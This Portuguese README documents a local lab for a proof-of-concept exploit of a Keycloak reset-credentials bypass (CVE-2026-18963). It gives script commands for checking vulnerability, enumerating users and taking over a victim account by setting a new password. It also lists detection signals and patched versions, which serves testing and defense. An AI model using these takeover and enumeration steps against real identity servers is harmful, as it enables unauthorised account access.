
Este repositório é um PoC do cve-2026-18963. Use-o apenas em produtos legais (laboratório, local, ...).
Bypass de reset-credentials do Keycloak → tomada de conta não autenticada CVSS 9.1 | Afetado: Keycloak 26.0.0 – 26.7.1
Este laboratório foi reconstruído a partir do README original de
snizi/cve-2026-18963-exploit.
CVE-2026-18963/
├── cve_2026_18963_poc.py <- Script PoC (Python 3.9+, apenas stdlib)
├── README.md
├── docker-compose.yml <- Ambiente de laboratório
└── realm-poc.json <- Configuração do realm do Keycloak (importação automática)
docker compose up -d
Ou execute o Keycloak diretamente, sem a importação do realm:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Aguarde ~30–60 segundos para o Keycloak terminar de iniciar.
| Serviço | URL | Versão | Status |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | VULNERÁVEL ⚠️ |
| Mailpit | http://localhost:8025 | latest | Captura e-mails |
admin / adminvictim / OriginalPassw0rd!poc | Cliente: poc-apppoc ou o usuário victim estiver ausente, importe manualmente:
Manage realms → Create realm → Envie realm-poc.json.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
Resultado esperado em kc-vuln:
[!] VULNERÁVEL — execução do gate de e-mail fornecida
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
Efeitos colaterais: um e-mail de reset é enviado à vítima (visualize-o em http://localhost:8025), e
emailVerifiedé definido comotrue.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
Depois, verifique fazendo login em http://localhost:8080/realms/poc/account
com victim / PoCPassw0rd!1.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
O realm é importado apenas no primeiro boot, então o reset mais simples é recriar o ambiente do zero:
docker compose down -v && docker compose up -d
Alternativamente, redefina a senha manualmente no console de administração
(http://localhost:8080/admin): Users → victim → Credentials → Reset password
→ OriginalPassw0rd!.
docker compose down -v
| Sinal | Legítimo | Exploit |
|---|---|---|
GET /login-actions/action-token?... | ✅ Sim | ❌ Não |
POST .../reset-credentials com corpo tryAnotherWay=yes | ❌ Não | ✅ Sim |
SEND_RESET_PASSWORD → UPDATE_PASSWORD com o mesmo code_id < 2 s | Raro | ✅ Sempre |
emailVerified muda para true sem evento VERIFY_EMAIL | ❌ | ✅ Sempre |
No Mailpit (http://localhost:8025) o e-mail de reset de senha chega na caixa de entrada da vítima, mas o link dentro dele nunca é clicado quando o exploit é bem-sucedido.
| Linha de versão | Afetada | Correção |
|---|---|---|
| ≤ 17 (WildFly) | Não | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | Nenhuma (mover para 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (backport do fornecedor) |
| 26.5 | 26.5.0 – 26.5.7 | Nenhuma |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (backport do fornecedor) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
Versões anteriores a 26.0 não são afetadas: a nota persistente
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDe a tela do seletor "Try another way" no fluxo de reset foram introduzidas em 26.0.0. Builds mais antigos simplesmente não possuem o caminho de código vulnerável — isso não é o mesmo que estar corrigido.